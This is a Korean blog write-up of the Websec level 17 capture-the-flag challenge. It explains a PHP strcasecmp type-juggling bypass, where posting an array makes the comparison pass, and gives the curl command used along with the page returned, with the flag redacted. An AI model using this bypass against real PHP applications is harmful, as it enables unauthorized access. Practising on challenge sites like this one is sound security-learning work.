Websec - level 17

 

 

 

 

우리가 입력한 flag 값이 어째저째 만들어진 flag값과 같으면 flag를 표시해준다.

 

 

 


 

 

비교를 strcasecmp로 되어있는데 

strcmp와 같은 문자열 비교해주는 함수이고 대소문자 구분하지 않는 기능이 있다.

 

strcmp와 똑같은 취약점이 있을 것 같아서 시도해보았다.

 

php5.3에서 strcmp에서 string과 Array를 비교하면 NULL값을 반환해준다.

php에서 !NULL는 true로 볼 수 있어서 Array값을 넣게되면 조건을 만족시켜준다.

 

 

 

post로 배열을 전달해주면

 

 

curl -d "flag[]=''" -X POST http://websec.fr/level17/index.php

 

 

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Seventeen</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
        <meta http-equiv="content-type" content="text/html;charset=UTF-16">
</head>
        <body>
                <div id="main">
                        <div class="container">
                                <div class="row">
                                        <h1>Level Seventeen <small> - Guessing is fun!</small></h1>
                                </div>
                                <div class="row">
                                        <p class="lead">
                                        Can you guess the flag?  You can check the sources <a href="source.php">here</a>.
                                        </p>
                                </div>
                        </div>
                        <div class="container">
                                            <div class="row">
                                <form class="form-inline" method='post'>
                                    <input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
                                    <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                                </form>
                            </div>
                        </div>
                                                <br>
                        <div class="container">
                                            <div class="row">
                                <div class="alert alert-success">Here is your flag: <mark>WEBSEC{-답-}</mark>.</div>                            </div>
                        </div>
                                        </div>
        </body>
</html>

 

 

다음과 같이 답을 얻을 수 있다.★

 

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30
Websec - level 1  (0) 2019.12.30

+ Recent posts